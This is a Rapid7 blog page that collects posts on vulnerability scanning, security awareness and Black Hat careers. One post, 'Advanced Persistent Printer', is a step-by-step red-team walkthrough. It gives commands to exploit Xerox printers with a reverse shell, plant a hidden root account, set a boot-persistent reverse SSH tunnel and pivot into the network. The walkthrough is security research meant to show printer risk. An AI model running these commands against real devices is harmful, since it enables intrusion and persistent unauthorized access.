Rapid7 Blog

Tips and Tricks  

Creating your First Vulnerability Scan: Nexpose Starter Tips

Welcome to Nexpose and the Rapid7 family! This blog is a step by step guide for new Nexpose customers to show you how to set up your first site, start a scan, and get your vulnerability management program under way.First thing's first: A few…

Welcome to Nexpose and the Rapid7 family! This blog is a step by step guide for new Nexpose customers to show you how to set up your first site, start a scan, and get your vulnerability management program under way.First thing's first: A few definitions in Nexpose:Site: A (usually) physical group of assets; i.e. what you want to scanScan Template: The things that your scan will look for and how it does discovery; i.e. how you scanDynamic Asset Group: A filtering of the assets from your scans/sites based on certain criteria like OS, vulnerability, PCI pass/fail, etc.; i.e. how you organize your scan results.Related Resource: [VIDEO] Learn how to setup dynamic asset groups in NexposeTo get started, click on the “create site” button on your Nexpose home screen:Here, give your site a name; as sites are usually logical groupings of your assets, they're often things like “Boston Office” or “LA Datacenter”For now, don't worry about the tagging features and the organization/access tabs.Now let's get into the meat of it. Click into the next section on the top bar, Assets, and enter the assets you want to scan into the “assets” field. You can do this a couple of ways:Simply type in or copy/paste a list of addresses (Nexpose accepts all the common formats)Import a list of assets from an XML file or similar documentCreate a connection to VMware/AWS/DHCP/ActiveSync and import assets live: We won't cover this in the scope of this blog post, but you can hook Nexpose directly to the tools above to dynamically import assets into an asset group. Simply go to “connection” and “create connection” to hook them up (you can also read up on this process in the user guide or ask our Customer Success Manager).Next let's go to Credentials. Here you can enter credentials so that Nexpose can authenticate into the devices you're scanning. Although not required for scanning, we strongly recommend you do authenticated scanning whenever possible; it'll greatly reduce false positives and give you much more in depth detail on your vulnerabilities, especially for installed software/services.Go to “add credentials” to give a new set of creds a name, select the service you're using, and input the associated details. You can also test credentials to make sure they're valid. Once you create this, let's move on to Templates!Templates are the way that scans are actually run. We have a whole bunch of prebuilt templates in Nexpose, such as for specific compliance scanning (SOX, PCI, etc) or scanning SCADA systems, and you can also copy and customize any template to get into the nuts and bolts of how Nexpose does its magic.For our purposes though, a good scan template to start with is Full Audit without Web Spider; this will discover live assets in the range you gave and scan them for all the relevant vulnerability checks in our database, without trying to crawl through web app scanning (which usually needs some more configuration; if web apps are important for you, learn more about our web application security solutions, and be sure to check out AppSpider).Almost there! The Engines tab lets you select which scan engine you want to do the scan; Nexpose has a distributed architecture that lets you deploy scan engines in remote locations that you don't have access to from the main console, and scan locally.Your console will come with a scan engine built in, so you can just select “Local scan engine” to launch the scan from your main console.And that's it! Now you can click “Save and Scan” to launch your scan right away. You can also go to the Schedule section to easily schedule your scans for a later date, or set up a recurring scan schedule.There's a ton of things you can do to customize your scans and make them more efficient, from custom scan templates to engine pooling and alerts; be sure to reach out to your Customer Success Manager for any questions or check out the Nexpose Training options!

Are You Enabling Corporate Espionage?

While I was flipping through some news stories the other day, a small headline appeared that piqued my interest.The headline reads: Former St. Louis Cardinals Exec Pleads Guilty To Cyber Espionage ChargesCyber espionage… in baseball? That was too intriguing to pass up!It…

While I was flipping through some news stories the other day, a small headline appeared that piqued my interest.The headline reads: Former St. Louis Cardinals Exec Pleads Guilty To Cyber Espionage ChargesCyber espionage… in baseball? That was too intriguing to pass up!It essentially describes this: employees from one club, the St Louis Cardinals, left to join another club, the Houston Astros. During their previous tenure with the Cardinals, they had built databases of scouting and talent reports. When the employees joined the Astros, a very similar database got constructed.The Cardinals are now concerned that their intellectual property has been misappropriated. So they used a list of “master passwords” that were in use at the time their databases were built, and use those, or variants of those, to break into the Astros databases.The Department Of Justice says that's a violation of the Computer Fraud and Abuse Act. The news article also posts an excerpt from the DOJ release:In one instance, Correa was able to obtain an Astros employee's password because that employee has previously been employed by the Cardinals. When he left the Cardinals organization, the employee had to turn over his Cardinals-owned laptop to Correa – along with the laptop's password. Having that information, Correa was able to access the now-Astros employee's Ground Control and e-mail accounts using a variation of the password he used while with the Cardinals.There are a few things are going on as described in the release. Let's examine them.The employee obviously reused passwords, or close variants, and in this case carried them over from one organization to another. This very common practice by humans lends us to believe that security awareness training was not conducted well or not enforced.The databases were presumably web-enabled applications from the descriptions. It does not appear that proper account control was used, such as restricted loginsFrom the DOJ release at least four intrusions occurred before the Astros required all users to change their passwords to something more complex. Was monitoring being done, or was this a lucky break?However … when they reset the passwords, they emailed the default passwords out to the users …which were intercepted because email accounts were in control of the attacker. Very common security gaffe made by operational teams.Several more intrusions happened before the intruder was finally caught & identified.The intruder was finally charged with five counts of unauthorized access of a protected computer. Each conviction carries a maximum possible sentence of five years in federal prison and a possible $250,000 fine. Sentencing is set for April 11.Espionage is not just a cloak and dagger drama played out by three letter agencies. It can happen in the unlikeliest of places, even baseball. It stands to reason that you and your organization are just as exposed.The question then is: are you enabling corporate espionage by not having real, enforceable security controls for your organization?To answer that question, you need to look at how you are managing security in your organization. Let's just look at the points mentioned above.Security AwarenessSecurity awareness training is an important, but often overlooked and underfunded tool that builds good security behaviors into your organization.Security awareness is recognized in several control frameworks as an essential element to your security program. NIST 800-53 (AT, SA & PM), HIPAA 164.308(a)(5), PCI 3.0 (12.6), ISO27000-2013 (A.7.2.2) and CIS Critical Control 17 all refer to security awareness training.NIST 800-53 has security awareness guidance, in control AT-2. The control states the organization provides basic security awareness training to information systems users as part of initial changes, when required by information system changes, and on an organizational defined frequency thereafter.The common mistake with frequency is that organizations choose annual or bi-annual timeframes. If you want a behavior to become habitual, you need to reinforce it as often as possible. Awareness education also needs to be fresh. You don't have to spend a lot of money or resources on this. It can be in the form of reminders newsletters, or stories around the water cooler like this one from current events to help describe desired behaviors.Account Monitoring and ControlProper account monitoring and controls, especially for web-exposed applications are extremely important, as attackers will frequently impersonate legitimate users. NIST 800-53 (AC), HIPAA 164.308 and 164.312, PCI 3.0 (7.1 – 7.3 and 8.7 – 8.8), ISO 27000-2013 (A.9.xx) and CIS Critical Controls number 16 all reference account monitoring and control.The first step is to ensure accounts which cannot be associated to a business process and owner are disabled. Then sweep all old accounts and remove them. Attackers will take advantage of dormant accounts to get into a network. All user accounts should have expirations.Monitoring account activity is also required to spot suspicious activity. A SIEM can spot patterns of use that might trigger an alert (such as logging into a system after business hours), or a login from a restricted IP can be flagged. As Yogi Berra once said, “you can observe a lot by watching.”Default Password HandlingFrom a process perspective, default passwords should never be emailed. All default passwords should require some form of authentication of the user. This could be a call into support, or a visit to the desk. Attackers can gain control of a users email account, and when passwords are set or reset, the attacker will have access to the account. Human to human interaction for default passwords, with a proper authentication step, is the safest way to distribute passwords.The situation that happened to the Astros could have been prevented or discovered early, and the damage might have been reduced. Take a close look at your account control policies and practices, your web-enabled applications security, and your fraudulent activity monitoring. When was the last time these controls were validated? Do they even exist? As for user awareness, when was the last time they were told about bad passwords and the dangers of re-use? This baseball story is one you can use to illustrate why re-use behavior is bad.I don't always agree with the famous quote by Eldrige Cleaver, but in this case it's very appropriate: “You are either part of the solution or part of the problem.”And to quote the famous Yogi Berra, “It ain't over ‘til it's over!”

12 Days of HaXmas: Advanced Persistent Printer

This post is the second in the series, "The 12 Days of HaXmas." By Deral Heiland, Principal Consultant, and Nate Power, Senior Consultant, of Rapid7 Global Services Year after year we have been discussing the risk of Multi-Function Printers (MFP) in the corporate…

This post is the second in the series, "The 12 Days of HaXmas." By Deral Heiland, Principal Consultant, and Nate Power, Senior Consultant, of Rapid7 Global Services Year after year we have been discussing the risk of Multi-Function Printers (MFP) in the corporate environment and how a malicious actor can easily leverage these devices to carry out attacks, including extraction of Windows Active Directory credentials via LDAP and abusing the "Scan to File" and "Scan to E-mail" features. To take the attack against MFP devices to a new level, we recently used an MFP device during a red team exercise to hide our location while we pivoting our attacks through the MFP in order to target Windows Active Directory. We figured it's time to share the details of how a malicious actor can use a compromised Xerox Workcentre MFP as a Advanced Persistent Threat (APT). So, as a HaXmas present, we dedicate this blog to those that have kept saying, “Really, it's a just a printer, what risk is there!” The first thing is to identify a Xerox Workcentre MFP vulnerable to firmware injection attack on the network you have compromised. Even though this technique was published back in 2012, a large number of Xerox Workcentre MFPs are still vulnerable to this exploit, thanks to a lack of rigorous updating around IoT devices like our MFPs. This can be easily validated using the Metasploit module xerox_mfp. If the device is not vulnerable then this attack will only print a page of worthless data. If it is vulnerable then you get yourself a reverse shell to the device with root level privileges. Within Metasploit select the xerox exploit module : use exploit/unix/misc/xerox_mfp Next select the reverse bash payload to use with the module: set payload cmd/unix/reverse_bash Finally set the target IP and local IP addresses with the following commands: set RHOST ipaddress set LHOST ipaddress It is recommended that you set wfsdelay to 30, since the printer may be in sleep mode when you launch the attack. This will increase the delay when waiting for a session to connect back to your listener: set wfsdelay 30 Once this is completed you can launch the exploit by entering exploit or run. The Xerox exploit will launch the firmware injection attack and return a remote shell with root level access to the MFP as shown below in Figure 1: Set Up and Enable SSHD Once you have gained root level access to the MFP device there are a number of steps that must be taken to configure the device to be able to properly handle SSH tunneling. The first step is to set up SSH host keys so you can run an SSH daemon service on the MFP device. The following steps will create the needed keys. Enter the following commands to generate dsa and rsa key pairs: ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key When prompted to enter passphrase just hit enter. An example of generating the keys is show below in Figure 2: Now you can start the SSH daemon with the following command: /usr/sbin/sshd Once the SSH daemon is started I like to validate it is running by checking the process with the following command: ps –ef |grep sshd As can be seen below in Figure 3 the SSH daemon is started and in this case has the process id of 17808. The error for version 1 is normal and expected. Set Up and Enable Key Authentication Now that the SSH daemon is running we need to generate public and private SSH keys. This is going to allow us to establish an SSH connection from the printer to our SSH server on the Internet. For the purposes of this write up we named the Internet SSH server “bouncebox”. First, from the printer, we create a folder named .ssh in the root home directory. This folder is where the SSH keys generated will be kept. We do this using the following commands: cd / && mkdir .ssh && cd .ssh Now that our .ssh folder has been created, let's generate the SSH keys. This can be done using the following command: ssh-keygen -t rsa When prompted, just hit enter to save the newly generated keys in the default location which is the .ssh folder we created. When prompted to enter a passphrase, just hit enter. Below, we verify the SSH keys were properly created. Now we need to add the SSH public key to the authorized_keys files located on bouncebox. This can be done using the following commands: cat /.ssh/id_rsa.pub (on printer) vi ~/.ssh/authorized_keys (on bouncebox) Now that this key is configured on our bouncebox, we can establish SSH connections from the printer to the bouncebox without having to deal with a password prompt. Note: Allowing the printer to ssh to your bounce box allows anyone with access to that printer to do the same. For this reason, make very certain that you do not store sensitive data on the bounce box. Create User Account Although we have root access to MFP we don't have the password and I am not going to give it to you. So unless you want to take the time to crack it the best thing is to create a user and add that user to the root group so we can use it during the SSH tunneling operation. Unfortunately the embedded Linux Wind River versions installed on the Xerox Workcentres does not have the adduser command so a user will need to be created using a manual process. This will require altering three files. This problem is also compounded by the lack of a good editor program, mainly because the bash shell can not properly handle the vi editor. So to be safe the first step is to make backups of the three files we will be editing. cp /etc/passwd /etc/passwd.bck cp /etc/shadow /etc/shadow.bck cp /etc/group /etc/group.bck Again i always validate my files have been backed up before continuing. This can be done with the following command as shown in Figure 6: ls -al /etc/*.bck Figure 6: File backup The first file we will alter is the /etc/passwd file. We will append the new user information to this file using the following command.  Also very important to not mess up the double redirect >>. A single redirect will overwrite the entire file which would be a serious pain, but if that happens, we do have backups. echo “bob:x:0:0:root:/:/bin/bash” >> /etc/passwd If everything is done correctly your passwd file should look like Figure 7: Next file to change is the /etc/shadow file. This change is done like the passwd file by using echo and double redirect we append the needed data to this file. So enter the following command to make this needed change: echo “bob:E9lQCJhXRn9sc:16781::::::” >> /etc/shadow Again, if everything is done correctly your shadow file should look like Figure 8: The final file that needs changed is the /etc/group file. In this case we will making two changes. the first change is to append the new user information to the end of the file with the following command: echo “bob:x:102:” >> /etc/group The second change involve using sed in an in-place edit mode to alter the root group setting to add bob to the root group. This is done with the following command: sed -i 's/root:x:0:root/root:x:0:root,bob/' /etc/group.tmp Again if everything is done correctly your group file should look like Figure 9: Now that you have changed all three files successful you have one final step. That step is to change the password for bob because I am not sure what the heck that string in the Shadow file will do. I guess the worse case it gives you a password of “test123” So to change the password enter the following command and follow the prompt: passwd bob You should see the following prompts and confirmation (Figure 10) once the password has been changed. Start Reverse Tunnel BounceBox Now that all the SSH keys are in place, sshd is running and user account has been created you will need to start up your ssh tunnel on the MFP. The following command will connect to your bouncebox over SSH port 22 and create a local ssh tunnel on port 12345 at 127.0.0.1.  Remember to set the bouncebox to the correct IP address and username to correct name of account you added the rsa_id.pub key to known_hosts for. /usr/bin/ssh -N -R 12345:localhost:22 username@bouncebox -f Establish Reverse SSH Tunnel Connections from Localhost to MFP After the printer successfully establishes an outbound SSH connection to the bouncebox, we can use this connection to tunnel back into the target network. This is accomplished by using a series of SSH commands to create the reverse SSH tunnel. First, from our remote attacker machine we SSH into the bouncebox using the -L option. As stated in the man page, the -L option specifies that the given port on the local (client) host is to be forwarded to the given host and port on the remote side: ssh -L 31337:localhost:12345 username@bouncebox In our example here, we SSH to the bouncebox on port 22, after the connection is established, a localhost listening port 31337 starts on the attacker machine (Figure 12). Any SSH traffic sent to port 31337 will now be forwarded to the bouncebox on port 12345 (Figure 13): Now that we have port forwarding established on the bouncebox, we can connect to the printer via the localhost SSH port 31337. Using the -D option allows for dynamic port forwarding, which enables a SOCKS server that allows us to send traffic via the printer's network interface. The dynamic forwarding will provide us with the means to use tools such as a port scanner from the attacker machine through the bouncebox and out to the target network where the printer resides. ssh -D 1080 bob@localhost -p 31337 Figure 14: Dynamic SSH tunnel via the bouncebox to the printer from the attacker machine Enable Persistence Also if you want to make this persistent you will need to add the correct system start file. In this case, the Xerox Workcentre does not have Crontab. I found the best method is to create a file in /etc/init.d and add a symbolic link to the /etc/rc.d/rc3.d folder. This will ensure every time the printer resets or restarts, your tunnel will be reestablished; that's why they call it an Advanced Persistent Threat (:. So now we have sshd running there should be no need to use Metasploit reverse bash shell to connect to the MFP. If you followed above directions you should be able to login to the MFP from your host system with the command: ssh bob@localhost -p 31337 vi start_evil Once in vi add the following commands to the file and save it out: #!/bin/bash # #startup ssh daemon service /usr/sbin/sshd #initiate the ssh tunnel to the bounce box /usr/bin/ssh -N -R 12345:localhost:22 username@bouncebox -f Ok the final step is to create a symbolic link in the folder /etc/rc.d/rc3.d/. This is easily done using the following commands: cd /etc/rc.d/rc3.d/ ln -s /etc/rc.d/init.d/start_evil S777_start_evil Now if the MFP is reset or rebooted it should re-establish your ssh tunnel connection back out to your bouncebox. Using ProxyChains and SOCKS Proxy To be able to use our attack tools from our attacker machine we use the proxy server software ProxyChains. This allows us to push traffic through our dynamic port forward we previously established. On the attacker machine, we install ProxyChains. To be able to use our dynamic port forward, we edit the configuration file /etc/proxychains.conf and add the following line: socks4 127.0.0.1 1080 Figure 15: ProxyChains configuration file Now that ProxyChains has been configured, we can start using our attacker tools. In the example below we use the port scanner tool nmap to scan a Windows system located in the target network. This is accomplished using the following command: proxychains nmap -Pn -sT 192.168.2.72 -p 445,3389 Now that we have identified a Windows system, we connect to the remote desktop service using the command: proxychains rdesktop 192.168.2.72 As a proof of concept we log on to the Windows system via remote desktop and run the netstat command to evaluate established connections. Here we can see the printer (192.168.2.200) is making an established connection to the Windows server (192.168.2.72) on the remote desktop port 3389. Merry haXmas to all the MFP lovers around the world

Tis the season! For user outreach

As we prepare to move into the end of the year holiday season, organizations tend to enter into one of two modes: they are either winding down end of the year activities in preparation to close their books, or they are sprinting to get things…

As we prepare to move into the end of the year holiday season, organizations tend to enter into one of two modes: they are either winding down end of the year activities in preparation to close their books, or they are sprinting to get things done before the end of the year. Sometimes it's a mixture of both these things. One common theme no matter what mode you are in, is your users will be distracted by the holidays. And if they are distracted, they are more prone to error, which means more vulnerable to attack and fraud.But you can use this to your advantage! One of the best tools in your awareness toolbox is communication. Your users will listen to you especially if you communicate messages they are open to hearing. Online fraud spikes during the next couple of months, so helping your users with their holiday shopping is an excellent way to get your message heard.Remember, imparting awareness is about changing behaviors, so giving your users tools to be aware of their online behaviors in their personal lives can naturally spill over into their corporate lives. It's a win-win!The best thing about this technique is that it's free. There are many resources available from many outlets that you can use to send your message. Or you can create your own, tailored to your users and their needs. I prefer a mix of both of these, as you can tailor your message and also get some support from some significant resources.Here are a couple of articles that popped up recently in my Flipboard feed that have good content:Don't Get Grinched By Cybercrime During The Holiday Season (AP Newswire)The biggest security mistakes people make when buying things online (Business Insider)If you are not aware (ha!) SANS publishes the free OUCH! Newsletter on security awareness, and the November 2015 issue contains online shopping tips. The nice thing about OUCH! Is you can just redistribute it.Again my preference is a combination of all these things. Planning your message to hit the hot topics in your organization will have the best effect for you. For example, during a security awareness roadshow, I got asked the same question by a lot of people that I had not even thought would be an issue today.“Is it safe to use my credit card online?”Of course this depends on your interpretation of safe. However it occurred to me that my users very likely did not understand what the fraud rules were around using credit/debit. So a quick search revealed the FTC rules around the The Fair Credit Billing Act (FCBA) and the Electronic Fund Transfer Act (EFTA). Here's the resource page that explains the liability:Lost or Stolen Credit, ATM and Debit cards The biggest takeaway is the difference between ATM/Debit and credit cards. While the liabilities are limited similarly, the ATM/Debit is higher risk because it directly accesses funds which are then unavailable until the dispute is resolved. This may not be news to you, but you would be surprised at the number of your users who don't understand this. Having you state it and then backing it up with FTC rules makes a very powerful message. Obviously this applies to USA, so for your country the rules may be different.Another strong message is showing how to avoid clickfraud by not clicking on tracking numbers in UPS or FedEx or USPS fake shipping emails. It's natural that people will have ordered something, or maybe a lot of things online, and maybe they've ordered so much they might be wondering what package is arriving. All these outlets have web pages devoted to exposing the fraud.FedExUPSUSPSThe tip here is to not click the link, but go to the shipper's website and enter the tracking number manually. Again, this may seem obvious to you, but to those who are not aware, it can be an epiphany.Another thing I like to do is give users tools to make smart shopping choices. Very often non-technical people are buying computers for themselves or their kids who are in school. Creating a simple matrix on buying a PC (what to look for, what terms mean, etc) and passing it out can be a huge help.And since this is the season of giving, I'm giving this to you! Attached to this post is a Powerpoint my take on a typical outreach document than you can re-brand and distribute, tear apart, or whatever you like. I prefer to use the more visual elements, infographics and a newsletter style, but I included some word summaries that you can take from. Now you can help your users be safe when they want to buy that Sarlaac Toilet or Bacon Bandages! I also included the “How To Buy A Computer Guide” that you can use, modify or whatever.The best gift you can give yourself is to build on this idea. Use this holiday season to start your outreach and then keep it going as often as you can; weekly, monthly, quarterly, or whatever period you can manage. The trick is to keep those lines of communication open, and your users will be more open and willing to accept your messages over time.

How Does #cyberaware Broaden Our Community?

We all know, from experience or the Verizon DBIR, that stolen credentials are the most common attack vector. Users still present massive risk to our organizations, yet there's plenty of debate about the effectiveness of user training. Meanwhile, users are getting all the FUD of…

We all know, from experience or the Verizon DBIR, that stolen credentials are the most common attack vector. Users still present massive risk to our organizations, yet there's plenty of debate about the effectiveness of user training. Meanwhile, users are getting all the FUD of breaches in the news, and aren't yet armed to have constructive conversations about them. Now, this is not to say there aren't awesome security teams running security training programs out there – there most definitely are. But no matter how well-crafted the message, one small, very busy security team pushing out security information or training to users gives only one point of contact. That's just not enough for anything— let alone something as complex as security — to stick. Thankfully the conversation is shifting from security being something for just the “technical folks” to worry about, to security as a shared responsibility in which everyone needs to – and can – be involved. After all, security doesn't impact only the security team. Security isn't important only inside the workplace. Why should conversations about security awareness be? For people to be truly aware, learn, and take responsibility, there must be conversation, overlap, and multiple points of contact. That's why this October for National Cyber Security Awareness Month, Rapid7 has taken security awareness outside the office. We have placed ads on the MBTA in Boston – where Rapid7 has its Headquarters and Cambridge office. Commuters can visit rapid7.com/aware to test their knowledge of a few low hanging fruit, get some quick tips, and educate themselves on why these things are important. We've also put together three NCSAM email templates ready for sharing to your company, family, and friends to encourage them to engage and brush up on security pointers. Lastly, visitors to the interactive site are invited to refer a colleague to test their security chops – increasing touch-points with the content and starting conversations across organizations. While Rapid7's focus is and always will be on innovative security software and services, it is important – especially during NCSAM – to look at the big picture impact to our community, which includes non-security roles. Let us know what you think! Do you want to see security awareness ads in your city? What other things should we, as an industry, do to get the general public's attention to help them think more about their own security practices?

Top 3 Takeaways from the "How to Make your Workplace Cyber-Safe" Webcast

In the first of four Cyber Security Awareness Month webcasts, a panel of security experts, including Bob Lord, CISO in Residence at Rapid7, Ed Adams, President and CEO at Security Innovation, Chris Secrest, Information Security Manager at MetaBank, and Josh Feinblum, VP of Information Security…

In the first of four Cyber Security Awareness Month webcasts, a panel of security experts, including Bob Lord, CISO in Residence at Rapid7, Ed Adams, President and CEO at Security Innovation, Chris Secrest, Information Security Manager at MetaBank, and Josh Feinblum, VP of Information Security at Rapid7, came together to discuss, "How to Make your Workplace Cyber-Safe". They touched upon how to create a security-centric culture, combating common threats targeted at users, characteristics of an effective security awareness program, and best practices for managing passwords and devices. Read on to learn the top 3 takeaways from this webinar:1. Security should be a reflex – A strong sign that an organization has successfully created a security-centric culture is if secure actions are reflexes for users across the organization. For example – has it become second nature for employees to know how to treat sensitive data, when it's okay to share information, and how to spot phishing attacks? If employees aren't sure about something, do they ask security or just click? If users are asking before acting, it's a pretty good indicator that a security-centric culture has successfully started to spread.2. It takes 2 Factor Authentication – Every user can be a pathway in. Any given user may not be the most impactful entry point – but they can be the first step to lateral movement within an environment. Be skeptical of all user activity, and use 2 factor authentication to remove risky users from the equation. Don't let one mistake from a risky user impact your organization. A successful hack is substantially more difficult when 2 factor authentication is in play, and can make the act just challenging enough that the attacker may move on to an easier target.3. Security is a Team Sport – Teach users at your organization to be more skeptical. Hiring more security professionals isn't enough to improve security – you need security-smart eyes and ears all over the organization. Plus, you'll benefit from less hostile, more understanding relationships between security and other business units. Build bridges not walls! Integrate security into your culture, and groups around the organization will start to recognize the need to bring security into projects earlier. Don't just give users rules to blindly follow – teach them how attackers work and think, and empower users to make decisions when the security team is not around. To listen to the full discussion: view the on-demand webcast now. Learn more and register for additional sessions in our Cyber Security Awareness Month Webcast Series.

The Black Hat Attendee Guide Part 6a: On Job Hunting & Recruiting

If you are just joining us, the series starts here. If you follow LinkedIn alerts, you'll see a clean pattern where the musical chairs, that is InfoSec, pick up and move to the left. The first starts the week after RSAC in SF, the other…

If you are just joining us, the series starts here. If you follow LinkedIn alerts, you'll see a clean pattern where the musical chairs, that is InfoSec, pick up and move to the left. The first starts the week after RSAC in SF, the other is after Black Hat. This isn't because recruiting happens, even though it does. It is because people go work for great companies, and leave bad people, circumstances, or have found an opportunity to grow somewhere else (for more coin!) Keep your head on straight No one (in their right mind) likes talking (in public) about a job hunt while they're employed. Obviously it's an uncomfortable subject, and if word gets out you're looking, your day job becomes a little less safe. Like it or not, networking leads to new gigs and a brighter future-- just be aware of how many people know that you're looking or listening. Keys to success in this venture, in my humble opinion, are found in perspective and transparency. Everyone, if honest, can see the gaps between what they dream of, their ideal, and what they have to offer. Searching for where to start? Understand where you are today. Carefully shape what you'd like to be doing in 3-5 years. Keep in mind that growth is part of every job you take, so you won't be 100% qualified, or know how to do everything in your next role JUST YET. Successful candidates grow, and we expect it. Many of you are actively looking, this post breaks down some of the discussions I keep having with folks. “I'm not qualified, I've never done that before” Almost everyone says this at some point, and for good reason, rooted in their humility, impostor syndrome, or Dunning Kruger-type things, and almost everyone worth their salt probably wrestles with these tendencies. I'm going to say it again: Change your perspective. You are not applying for a job where you need to do clearly defined work, like mowing a lawn, running a cash register, manning a post for a specified time—all of which fits nicely onto a timesheet. The work we do in this industry is very fluid, even if job definitions seem pretty straight forward. Remember: People are hired for aptitude. Jobs are chosen for growth potential. If you can already execute the duties in a job description, managers aren't worrying about hiring you—we worry you'll be a pain in the rear as you get bored. You're qualified because you have the potential, the question you need to have is the gap: Is this something you can get up to speed fast enough to be a help to the team? That is the question you need to answer when you look at things on the job description. So let's look harder at that: Reading the Job Description (JD) The JD is not a tool to determine if you are qualified. Read it while asking yourself: “Is this what I want to be doing for the next three years?” and “Is there room to grow into this job?” For those of you who haven't directly managed humans, hiring and firing is a thing, and it is very different than managing systems. Rebooting (err, mis-hiring) hurts people, changing their lives in a painful way. Scaling systems is straightforward, even if tedious—cloud technology has helped dial us in, and configs are pretty structured—but there ‘s no Chef or Puppet config for adding humans to your team, so we use job descriptions. Unlike system and application profiles, we can only attempt to describe the skill sets, attitudes, preferences, and special gifts or traits of what we think a successful candidate might embody. Read that paragraph again. The JD is effectively guesswork. There are bullets that aren't negotiable, and there are bullets that are flexible. You won't know which is which, so tread lightly and read thoughtfully. As a hiring manager, I can't tell you how many times we finished interviewing some people, only to realize there was absolutely NO WAY these people were work out. Moment of clarity, it wasn't them, it was us—and the JD needed a re-write. When you read the job description, try to read between the lines and be quick to ask questions while you have someone F2F at Black Hat. What does the day-to-day workload look like? What does the new hire need to ALREADY know how to do? What can they learn on the job and grow in to? (Another side-note: Even if you know how to do something, you can almost bet a prospective future employer does it differently, so there is always learning, growth, and adaptation required…) You have a great resource available to you at events like RSA and Black Hat -- corporate recruiters and potential future teammates. So while at Black Hat, don't avoid the recruiters—talk to them and find out who is hiring for what roles. Once you do, then talk to the folks on that team. I know a number of hiring managers coming to Black Hat with headcount they are looking to fill—immediately. Seek them out. I promise that you'll learn farmore over coffee or a meal about the team and company than you will in 10 hours scouring their website. Reading your resume Let me state this again, determining if you are qualified is not your job. The hiring manager makes that determination. You really want companies to find the right folks, and sometimes, you really are the right person with all the right attributes. Let's break that down. If the JD is a recipe, and resumes offer a list of available ingredients. Hiring managers know their culture, organization, and the specific needs of the team. A great manager isn't cooking food, they're crafting cuisine. Building a team is tedious, takes considerable investment, and is a lot harder than it looks. Blind applications represents a numbers game, and the challenge you'll face is having zero access to the hiring manager until you've made it past the recruiting/HR filters as they judge you on your resume alone… unless you are meeting them face-to-face at Black Hat or other live industry events. What hiring managers look for in you If you haven't walked a mile in these shoes, think about anyone you've ever interviewed. Meeting face to face at Black Hat allows you to skip an initial resume screen and answer meaningful questions. Questions being asked on both sides of the table might be: Can we work together? Laugh and pull pranks together? Are you an eight-to-fiver, or are you in-it-to-win-it? Would I look forward to lunch with this person several days a week? Are you my particular brand of crazy? Can we collaborate? If things are going well, this evolves from the personal chemistry into a situation where you want to know they can actually do the job. Can you hold a job? Are you a leader or follower? Are you self-directed, or need continual guidance? Will your experience and expertise complement my team? What you (the seeker) are looking for You also need to ask, in earnest, if this is a company you want to work for. What is the reputation of the company, who works there, what are they doing, is the future of the company viable (read: will the company survive)? Some folks prefer smaller companies they can bleed into, where they can stretch their wings and earn sweat equity. There are more unknowns and higher risk, but there may be a possible equity payback. Risk can bring rewards, and many thrive on the instability and flexibility found in these smaller companies. Other folks aren't in a place to take on the culture or the risk of a smaller company for whatever reason, and they find comfort in larger, safer and more established companies. Yes, there might be more bureaucracy and a slower pace, but some people that thrive in this environment  and need the trimmings that come with stability, like benefits, healthcare, and retirement considerations. How would you describe the company's philosophy? You want to know what their ethics and belief system is—if they have one, and hopefully they do!—and what it means to them. Core values are important. If it's just a marketing exercise, find out. Companies I love strive to honor their mission, check out Nike, Delta Airlines, and Zynga core values as examples. My hopes for you First and foremost, be grateful for the work we do: There are other industries hurting right now, and we have no shortage of jobs. For those of you employed and considering a jump, remember that you came here for a reason-- a big part of my income is that sense of purpose. Second, be graceful as you move about the industry. Laugh as you might, and as excited as you may be to leave, don't forget you may wind up working with many of your current team in a few years… so don't burn bridges or bad-mouth people. People make mistakes, people change. Hopefully we all progress and grow from lessons learned. Third, try not to focus on the money. What we do is lucrative, no doubt, but Lennon and McCartney put it best: “You can't buy me love.” Join a team you enjoy, with people you love, at a company you believe in. You'll have Mondays and happy-hour filled Fridays, and the occasional no-sleep work weeks. Warts and all, this is your chosen profession. At the end of the day, you need to believe in what you're doing. Finally, if at all possible, try to negotiate a bullet into your job description focused on community work. Maybe that's focused on an OWASP project, leading a local ISSA chapter, mentoring locally, or organizing a BSides event. Make it something you are incentivized to do and your company supports in writing. We're building this industry together—do your part. As always, your thoughts and comments are most welcome here on the blog, or out in the Twitterverse. ~@treyford Want more? You can catch all the entries in the Black Hat Attendee's Guide series here.

The Black Hat Attendee Guide, Part 1 - How to Survive Black Hat

If you're like me, you have wanted to go to Black Hat for ages. If you're going, have a game plan. For first timers, this series will be a primer full of guidance and survival tips. For returning attendees, this will help maximize your experience…

If you're like me, you have wanted to go to Black Hat for ages. If you're going, have a game plan. For first timers, this series will be a primer full of guidance and survival tips. For returning attendees, this will help maximize your experience at Black Hat. First, I want to give you perspective on my bias, coloring guidance offered here. My slant is that of someone who was a booth babe (sales engineer), a speaker, an attendee, Review Board member and former General Manager. These guide my aspirational thoughts for attendees. General Alexander described Black Hat as “[the] greatest technical center of gravity in the world” - and whether you call it "cyber security" or "information security," you are certainly in the deep end of the pool when attending this conference. Black Hat, from its roots, is by the community, for the industry. The Review Board strives to keep the event content-focused, bringing the best mix of cutting edge, inspirational, and conversation driving discussion to the attendees. Over the last 18 years, Black Hat (started by Jeff Moss 5 years after DEF CON) has helped security minded IT professionals build an industry. Think about that. There were no “security engineers” or “security analysts” or “security architects” or “Chief Information Security Officers” at the first Black Hat — just a bunch of people forging a career path, creating what we have today. You, as an attendee, stand on the shoulders of those giants. Standing in the conference space at Mandalay Bay, you will have 9,000 people wearing Black Hat badges nearby, over 180 researchers presenting content, and 160 vendors who have invested heavily in the event. As a content-led event, this is the largest professional hacking event of its kind. By the numbers, you'll be drowning in people that all know more than you do. Think about that for a second. Absolutely no-one is great at everything. Everyone there brings something to the table, something they might share with you, something that may change the world. That said, no one there has your experience or perspective (ignore the warm fuzzies and pay attention) you have an opportunity to find people of a like mind, with similar passions, experience, and  knowledge to yours. This is YOUR TRIBE. Find your people. There is so much to do, so to get the most out of your time, plan ahead. There are things happening you will not have planned for, things you will not be welcome to attend (like 70 Black Hat training classes the 4 days before the conference, or the invite-only CISO summit on Tuesday), and a whole mess of “oh, I wish I'd…” moments. Choose your own adventure, and do it on purpose—this is not a week to “accidentally” your way through. This week can change how you do your job, change how you drive your career, and it can change your life. (Ask any speaker… it changed mine.) With this many talented professionals, hungry employers, innovating vendors, and curious researchers, do not underestimate the power of serendipity. The people you will rub 